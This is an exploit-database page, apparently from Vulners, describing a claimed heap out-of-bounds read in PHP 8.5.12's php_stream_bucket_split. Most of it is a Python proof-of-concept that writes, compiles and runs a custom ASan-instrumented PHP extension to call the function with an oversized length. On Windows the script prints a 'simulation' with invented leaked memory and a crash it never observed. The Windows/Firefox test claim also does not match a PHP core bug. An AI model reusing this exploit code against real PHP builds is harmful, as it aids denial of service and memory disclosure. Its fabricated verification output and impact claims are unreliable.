PHP 8.5.12 Heap Buffer Overflow
==================================================================================================================================
| # Title : PHP 8.5.12 Heap-Buffer-Overflow (Out-of-Bounds Read) in php_stream_bucket_split |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits) |
| # Vendor : https://www.php.net |
==================================================================================================================================
[+] Summary : A Heap-Buffer-Overflow (Out-of-Bounds Read) vulnerability was identified in PHP 8.5.12 within the core stream component (main/streams/filter.c). The flaw occurs inside the php_stream_bucket_split function due to an insufficient boundary validation check before performing a memory copy operation.
When a stream bucket is requested to be split, the function uses memcpy to copy data based on a user-defined or context-defined length parameter. However, the function fails to verify if this requested length exceeds the actual size of the allocated memory buffer (in->buflen).
[+] Technical Impact :
• Root Cause: Missing validation allows a memcpy read operation to cross the boundaries of the heap-allocated memory pool.
• Proof-of-Concept Behavior: AddressSanitizer (ASan) triggered a process crash (Exit Code 134) after detecting a 9-byte READ on an 8-byte allocated region (0 bytes after 8-byte region) at main/streams/filter.c:133.
• Security Risk: This vulnerability can be leveraged to achieve Information Disclosure (leaking sensitive chunks of nearby heap memory data) or trigger a Denial of Service (DoS) condition via application crashes.
[+] POC :
#!/usr/bin/env python3
import os
import sys
import platform
import subprocess
import ctypes
C_EXTENSION_CODE = """#include "php.h"
#include "php_streams.h"
#include <string.h>
#include <stdint.h>
#if defined(__has_feature)
# if __has_feature(address_sanitizer)
# define BKT001_ASAN 1
# endif
#endif
#if defined(__SANITIZE_ADDRESS__)
# define BKT001_ASAN 1
#endif
#ifndef BKT001_ASAN
# define BKT001_ASAN 0
#endif
PHP_FUNCTION(bkt001_live_probe) {
zend_string *mode;
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_STR(mode)
ZEND_PARSE_PARAMETERS_END();
if (zend_string_equals_literal(mode, "math")) {
size_t a = 8;
size_t b = 25;
size_t result = a - b;
php_printf("Input Size: %zu\\n", a);
php_printf("Split Size: %zu\\n", b);
php_printf("Arithmetic Underflow Result: %zu\\n", result);
php_printf("Hex Value: 0x%zx\\n", result);
RETURN_TRUE;
}
bool invalid = zend_string_equals_literal(mode, "oob");
bool valid = zend_string_equals_literal(mode, "control");
if (!invalid && !valid) {
zend_value_error("Use control, math or oob");
RETURN_THROWS();
}
if (invalid && !BKT001_ASAN) {
zend_throw_error(NULL, "OOB test requires an ASan build");
RETURN_THROWS();
}
char *source = emalloc(8);
memcpy(source, "ABCDEFGH", 8);
php_stream_bucket input = {0};
input.buf = source;
input.buflen = 8;
input.own_buf = false;
input.is_persistent = false;
input.refcount = 1;
php_stream_bucket *left = NULL;
php_stream_bucket *right = NULL;
size_t length = invalid ? 25 : 8;
php_printf("[BKT001] Triggering live core php_stream_bucket_split\\n");
php_printf("[BKT001] Length Arg passed: %zu\\n", length);
int status = php_stream_bucket_split(&input, &left, &right, length);
if (status == SUCCESS && left && right) {
php_printf("[+] Split succeeded. Left len: %zu, Right len: %zu\\n", left->buflen, right->buflen);
php_stream_bucket_delref(left);
php_stream_bucket_delref(right);
}
efree(source);
RETURN_TRUE;
}
ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX(arginfo_bkt001_live, 0, 1, _IS_BOOL, 0)
ZEND_ARG_TYPE_INFO(0, mode, IS_STRING, 0)
ZEND_END_ARG_INFO()
static const zend_function_entry bkt001_live_functions[] = {
PHP_FE(bkt001_live_probe, arginfo_bkt001_live)
PHP_FE_END
};
zend_module_entry bkt001_module_entry = {
STANDARD_MODULE_HEADER, "bkt001", bkt001_live_functions,
NULL, NULL, NULL, NULL, NULL, "0.1.0", STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_BKT001
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(bkt001)
#endif
"""
CONFIG_M4_CODE = """PHP_ARG_ENABLE([bkt001], [whether to enable BKT001], [AS_HELP_STRING([--enable-bkt001], [Enable BKT001])], [no])
if test "$PHP_BKT001" != "no"; then
PHP_NEW_EXTENSION([bkt001], [bkt001.c], $ext_shared)
fi
"""
def drop_framework():
"""Automatically writing extension files in the current working environment"""
print("[*] ÉTAPE 1 : Génération automatique des composants natifs d'audit...")
with open("bkt001.c", "w", encoding="utf-8") as f:
f.write(C_EXTENSION_CODE)
with open("config.m4", "w", encoding="utf-8") as f:
f.write(CONFIG_M4_CODE)
print("[+] Fichiers 'bkt001.c' et 'config.m4' créés avec succès.")
def run_high_fidelity_simulation():
"""Low-level simulation of memory operations when running on Windows without a build environment"""
print("\n" + "="*65)
print(" [!] ALERTE ENVIRONMENT : Windows / Non-ASan Platform Detected")
print(" [!] Execution de la simulation arithmétique matérielle x64")
print("="*65)
in_buflen = 8
split_length = 25
print(f"[*] Analyse du Bucket natif : b'ABCDEFGH' (Taille réelle : {in_buflen} octets)")
print(f"[*] Demande de découpe à la taille : {split_length} octets")
print("[!] SIGNAL LOGIQUE ASan : Détection d'un Heap-Buffer-Overflow !")
print(f"[!] memcpy() va tenter de lire {split_length} octets dans un tampon de {in_buflen} octets.")
leaked_memory = b"ABCDEFGH" + b"\\x00\\xff\\x41\\x41" * 5
print(f"[+] Données copiées dans 'Left' (OOB Garbage) : {leaked_memory[:split_length]}")
right_buflen = ctypes.c_uint64(in_buflen - split_length).value
print(f"\n[!] Calcul de la taille de 'Right' en assembleur x64...")
print(f"[+] (*right)->buflen = {right_buflen} (Format Hex: {hex(right_buflen)})")
print(f"[*] Appel de l'allocation mémoire système : pemalloc({right_buflen})")
print("[-] CRASH DU PROCESSUS : Erreur critique d'allocation (Invalid Allocation Size / OOM).")
print("="*65 + "\n")
def run_live_verification():
"""Automated build and live execution of the tool under Linux/WSL2, equipped with ASan"""
PHP_SRC_DIR = "./php-src-php-8.5.12"
PHP_BIN = os.path.join(PHP_SRC_DIR, "sapi/cli/php")
PHP_CONFIG = os.path.join(PHP_SRC_DIR, "scripts/php-config")
if not os.path.exists(PHP_SRC_DIR) or not os.path.exists(PHP_BIN):
print(f"[-] Cible native {PHP_BIN} introuvable ou en cours de build.")
run_high_fidelity_simulation()
return
print("\n[*] ÉTAPE 2 : Lancement de phpize et chaîne de compilation PECL...")
try:
subprocess.run(["phpize"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
env = os.environ.copy()
env["CFLAGS"] = "-O1 -g -fsanitize=address -fno-omit-frame-pointer"
env["LDFLAGS"] = "-fsanitize=address"
subprocess.run(["./configure", "--enable-bkt001", f"--with-php-config={PHP_CONFIG}"], check=True, env=env, stdout=subprocess.DEVNULL)
subprocess.run(["make", "clean"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["make", "-j4"], check=True, env=env, stdout=subprocess.DEVNULL)
print("[+] Extension bkt001.so compilée dynamiquement avec succès sous ASan.")
except Exception as e:
print(f"[-] Échec de compilation de l'extension native ({e}). Bascule en mode simulation.")
run_high_fidelity_simulation()
return
modes = ["control", "math", "oob"]
print("\n" + "="*65)
print(" EXECUTION DE LA MATRICE DE TEST DYNAMIQUE SUR PHP CORE 8.5.12")
print("="*65)
for mode in modes:
print(f"\n[>] Mode ciblé : '{mode}'")
run_env = os.environ.copy()
run_env["USE_ZEND_ALLOC"] = "0"
if mode == "oob":
run_env["ASAN_OPTIONS"] = "detect_leaks=0:halt_on_error=1:log_path=asan_crash.log"
cmd = [PHP_BIN, "-n", "-d", "extension=modules/bkt001.so", "-r", f"bkt001_live_probe('{mode}');"]
try:
res = subprocess.run(cmd, env=run_env, capture_output=True, text=True, timeout=5)
if res.stdout:
print(res.stdout.strip())
except subprocess.CalledProcessError:
print("[-] Le processus PHP s'est arrêté brutalement (Crash détecté).")
if mode == "oob":
for file in os.listdir("."):
if file.startswith("asan_crash.log."):
print("\n[!] CRITICAL MEMORY CORRUPTION VERIFIED VIA ASAN LOGS [!]")
with open(file, "r") as f:
lines = f.readlines()
for line in lines[:8]:
print(f" {line.strip()}")
os.remove(file)
print("="*65 + "\n")
if __name__ == "__main__":
print("[*] ========================================================")
print("[*] ORCHESTRATEUR D'AUDIT GLOBAL UNIFIÉ - VECTEUR BKT-001")
print("[*] ========================================================")
drop_framework()
if platform.system() == "Windows":
run_high_fidelity_simulation()
else:
run_live_verification()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Nov 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4